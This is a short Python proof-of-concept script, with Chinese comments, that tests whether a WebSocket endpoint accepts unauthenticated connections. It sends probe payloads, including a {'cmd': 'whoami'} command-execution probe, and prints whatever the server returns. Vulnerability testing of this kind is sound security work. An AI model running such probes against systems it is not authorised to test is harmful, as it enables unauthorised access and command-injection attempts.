websocket未授权访问

import asyncio
import websockets
import sys
import json
import websockets.exceptions

# ... 其他代码 ...

async def test_unauthorized_access(target_url):
    print(f"[*] 正在测试目标: {target_url}")
    
    try:
        async with websockets.connect(target_url) as websocket:
            print("[+] 连接成功！可能存在未授权访问漏洞。")
            # ... 后续逻辑 ...
            
            # 发送常见的探测payload
            test_payloads = [
                {"type": "ping"},
                {"action": "get_status"},
                "test_message",
                json.dumps({"cmd": "whoami"}) # 针对某些命令执行接口的模糊测试
            ]
            
            for payload in test_payloads:
                try:
                    if isinstance(payload, dict):
                        send_data = json.dumps(payload)
                    else:
                        send_data = payload
                    
                    print(f"[*] 发送 Payload: {send_data}")
                    await websocket.send(send_data)
                    
                    # 等待响应，设置超时防止挂起
                    try:
                        response = await asyncio.wait_for(websocket.recv(), timeout=3)
                        print(f"[!] 收到响应: {response}")
                        print("[!] 警告: 服务端返回了数据，建议进一步人工审计权限控制。")
                    except asyncio.TimeoutError:
                        print("[-] 未收到响应 (超时)")
                        
                except Exception as e:
                    print(f"[-] 发送/接收错误: {e}")
                    
    # 修改此处：使用 InvalidHandshake 替代已弃用的 InvalidStatusCode
    except websockets.exceptions.InvalidHandshake as e:
        # InvalidHandshake 包含了握手失败的各种情况，包括状态码错误
        print(f"[-] 握手失败 (可能是认证拒绝或协议错误): {e}")
        
    except websockets.exceptions.InvalidURI:
        print("[-] 无效的 WebSocket URI 格式。")
        
    except ConnectionRefusedError:
        print("[-] 连接被拒绝，目标端口可能未开放或服务未启动。")
        
    except Exception as e:
        print(f"[-] 发生未知错误: {e}")

def main():
    if len(sys.argv) != 2:
        print("用法: python ws_unauth_poc.py <websocket_url>")
        print("示例: python ws_unauth_poc.py ws://127.0.0.1:8080/ws")
        sys.exit(1)
        
    target = sys.argv[1]
    
    # 简单的URL格式检查
    if not target.startswith(("ws://", "wss://")):
        print("[-] 错误: URL 必须以 ws:// 或 wss:// 开头")
        sys.exit(1)
        
    asyncio.run(test_unauthorized_access(target))

if __name__ == "__main__":
    main()